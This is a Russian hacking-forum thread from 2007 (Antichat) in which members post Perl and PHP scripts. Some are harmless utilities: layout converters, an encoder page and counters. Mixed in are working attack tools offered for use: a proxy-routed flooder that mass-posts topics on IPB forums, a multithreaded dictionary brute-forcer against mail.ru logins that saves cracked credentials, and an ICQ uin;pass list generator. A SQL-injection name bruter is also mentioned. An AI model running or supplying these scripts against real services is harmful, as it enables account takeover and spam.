Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.08.2007, 04:19
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме: 4319431
Репутация:
677
|
|
делать было нечего.. написал флудер ipb, правда флудить получается не все версии форума так как в них есть различия в запросах
Код:
#!/usr/bin/perl
use IO::Socket;
$phost = 'localhost'; #хост прокси
$pport = 8118; #порт прокси
$link = 'http://forum.ru'; #ссылка на форум без / в конце
$host = 'forum.ru'; #хост форума
$user = 'Юзир'; #юзер
$pass = 'pxVoQV'; #пасс
$topic = 'Превед'; #название топика
$message = 'Превед'; #текст
$forum = 2; #id форума
$sleep = 34; #задержка
$count = 35; #сколько топегов создать
###логинемся###
$post = "$link/index.php?act=Login&CODE=01&CookieDate=1";
$data = "UserName=$user&PassWord=$pass";
###получаем сессию###
$answ = request($post,$data);
($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg;
$topic = urlen($topic);
$message = urlen($message);
for (0..$count){
###топег### грузим страницу поста и парсим хидден кеи
$post = "$link/index.php?act=Post&CODE=00&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session";
$answa = request($post,$top);
@key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx;
$authkey = $key[1];
$postkey = $key[2];
###постем###
$post = "$link/index.php?act=Post&CODE=01&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1";
$answ2 = request ($post,$top);
$session = $answ2 =~ m/session_id=([a-z0-9]{32})/g;
print "[+] Message ".$i++." posted\n";
sleep ($sleep);
}
sub request
{
($post,$data) = @_;
$sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect';
print $sock "POST $post HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"User-Agent: Perl\r\n".
"Connection: close\r\n\r\n$data";
while ($answ = <$sock>){
$answer .= $answ;
}
close $sock;
return $answer;
}
sub urlen
{
($str)=@_;
$str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg;
return $str
}
|
|
|

15.08.2007, 11:03
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме: 876216
Репутация:
209
|
|
Все-таки советую прочитать про определение переменных (хинт: my\our\local) и всегда в перл скриптах юзать use strict; use warnings;
|
|
|

16.08.2007, 19:58
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме: 5352530
Репутация:
2062
|
|
Скрипт перевода русского текста в набор на англ раскладке
Код:
#!/usr/bin/perl
if (@ARGV < 1)
{
print "Usage: transkey.pl source\r\n";
exit();
}
$sour = $ARGV[0];
if (@ARGV = 1){
$dest = $sour . '_trans';
}
else{
$dest = $ARGV[1];
};
$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';
open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";
while (<SR>){
chomp;
@bukvy = split(//);
foreach $bk (@bukvy) {
$num = ord($bk);
if ($num < 256){
if ($num > 223){
$bk = substr($alphabet,$num-224,1);
}else{
if ($num > 191){
$bk = substr($alphabet2,$num-192,1);
};
};
};
}
print DS join("",@bukvy) . "\n";
};
close (SR);
close (DS);
|
|
|

16.08.2007, 21:56
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Thanat0z, имхо, на PHP легче
PHP код:
<?
#(c) NOmeR1
function trans($str,$lang)
{
$eng = '~!@#$%^&*()_+|QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?`1234567890-=\qwertyuiop[]asdfghjkl;\'zxcvbnm,./ ';
$rus = 'Ё!"№;%:?*()_+/ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,ё1234567890-=\йцукенгшщзхъфывапролджэячсмитьбю. ';
$result = $str;
if($lang == 'eng')
{
for($i=0;$i<strlen($eng);$i++)
{
$result = str_replace($rus{$i},$eng{$i},$result);
}
return $result;
}
elseif($lang == 'rus')
{
for($i=0;$i<strlen($rus);$i++)
{
$result = str_replace($eng{$i},$rus{$i},$result);
}
return $result;
}
else
{
return '$lang может быть только \'rus\' или \'eng\'';
}
}
echo trans('Crhbgn hf,jnftn','rus');
?>
Последний раз редактировалось NOmeR1; 18.08.2007 в 15:29..
|
|
|

17.08.2007, 00:20
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Моя версия кодировщика и наоборот. + Моя функция unhex - долго искал, но решил сам написать.
PHP код:
<!--(c) NOmeR1-->
<html>
<head>
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:200px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>encode() && decode()</title>
</head>
<body>
<?
if(!$_POST['s'])
{
?>
<form style='width:300px;' method=post>
Текст:<br>
<textarea name='msg' rows=7 cols=30></textarea><br>
<input type=submit name='s'>
</form>
<?
}
elseif($_POST['msg'])
{
function unhex($hex)
{
$result = urldecode(str_replace(' ','%',' '.$hex));
if(str_replace(' ','',$hex) == bin2hex($result))
return htmlspecialchars($result);
else
return 'не возможно';
}
$m = $_POST['msg'];
echo('Слово - <b>'.htmlspecialchars($m).'</b><br>
Наоборот - <b>'.htmlspecialchars(strrev($m)).'</b><br>
Hex - <b>'.chunk_split(bin2hex($m), 2).'</b><br>
Unhex - <b>'.unhex($m).'</b><br>
Url - <b>'.htmlspecialchars(urlencode($m)).'</b><br>
Unurl - <b>'.htmlspecialchars(urldecode($m)).'</b><br>
Base64 - <b>'.htmlspecialchars(base64_encode($m)).'</b><br>
Unbase64 - <b>'.htmlspecialchars(base64_decode($m)).'</b><br>
Md5 - <b>'.md5($m).'</b>');
}
else
{
echo('Заполните поле msg');
}
?>
</body>
</html>
Последний раз редактировалось NOmeR1; 18.08.2007 в 15:34..
|
|
|

18.08.2007, 15:33
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Самый наипростейший генератор списка uin;pass.
PHP код:
<?
#(C) NOmeR1
set_time_limit(0);
$file = 'uins.txt';
if($_POST['s'] && $_POST['password'] && $_POST['from'] && $_POST['to'] && $_POST['from'] < $_POST['to'])
{
$f = fopen($file, 'ab') or die('Не возможно открыть файл');
for($i=$_POST['from'];$i<=$_POST['to'];$i++)
{
fwrite($f, $i.";".$_POST['password']."\r\n") or die('Не записать в файл');
}
fclose($f);
echo('Всё успешно записано');
}
elseif(!$_POST['s'])
{
?>
<form method=post>
От номера <input type=text name=from value="100000"><br>
До номера <input type=text name=to value="200000"><br>
Пароль <input type=text name=password value="Password"><br>
<input type=submit name=s value="Go!">
Пароли сохранятся в файл <?=$file?>
</form>
<?
}
else echo('Не правильно заполнены или не заполнены некоторые поля');
?>
Последний раз редактировалось NOmeR1; 21.08.2007 в 01:32..
|
|
|

21.08.2007, 11:54
|
|
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
Провел на форуме: 7910701
Репутация:
811
|
|
#!/usr/bin/perl
use Time::localtime;
print "Content-Type: text/html \n\n";
$ip=$ENV{'REMOTE_ADDR'};
$tm=localtime();
$y=$tm->year;
$m=$tm->mon;
$d=$tm->mday;
$m++;
$y+=1900;
$curr=$d.$m.$y.":".$ip;
#print "Current status: $curr \n\n";
$yes=0;
open(COUNT, "count.dat") || die "neotkrit!\n";
while($str=<COUNT>)
{
chomp($str);
if ($curr eq $str)
{
$yes=1;
last;
}
}
close(COUNT);
open(CTR, "ctr.dat") || die "ne otkrit!\n\n";
$ctr=<CTR>;
close(CTR);
if (!$yes)
{
open(COUNT, ">> count.dat") || die "ne otrkit\n\n";
print COUNT "$curr\n";
close(COUNT);
$ctr++;
open(CTR, "> ctr.dat") || die "neotkrit!\n\n";
print CTR "$ctr";
close(CTR);
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
else
{
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
потом создаюём counter.dat
и там пропишем
< img src="/cgi-bin/image.cgi" >
просто счётчик на перле
|
|
|

21.08.2007, 12:12
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме: 2924346
Репутация:
1719
|
|
Простейший персональный счетчик на php кстати помещается в 4 строчки  если использовать cookies.
PHP код:
<?php
if (!isset($counter))
$counter = 0;
$counter++;
setcookie("counter", $counter, 0xAAAAAAAA);
echo "You have visited this page $counter times.";
?>
|
|
|

23.08.2007, 10:49
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
SQLBruter v. 0.2 By Raz0r (c) 2007
razor-ars[at]yandex.ru
ICQ 502210
Скрипт для брута названий табличек/полей
при реализации скул-инъекций. (во вложении).
|
|
|

24.08.2007, 03:40
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме: 4319431
Репутация:
677
|
|
это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
Код:
#!/usr/bin/perl
use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;
######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################
( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
print "Sorry, password not found =(\n";
exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>'win.mail.ru',
PeerPort=>80);
print $sock "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
"Host: win.mail.ru\r\n".
"Accept: */*\r\n".
"Range: bytes=0-63\r\n".
"User-Agent: Opero\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"Connection: close\r\n\r\n$data";
$answ = <$sock>;
close $sock;
#print "$pass\t$answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$login:$pass\n";
print "$login:$pass\n";
close good;
exit;
}
}
}
if ( $thr < 20 && $key == 0 ) {
my $time_end = time;
my $timer = $time_end - $time_start;
print "For $thr threads time = $timer\n";
$optim[$timer] = $thr;
$thr++;
} elsif ($key == 0) {
while (1) {
$thr = shift @optim;
print "Thr $thr\n";
last if ($thr);
}
$key = 1;
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 300);
}
print bad $_;
print $_;
chomp @mas;
return @mas;
}
Последний раз редактировалось C!klodoL; 24.08.2007 в 08:37..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|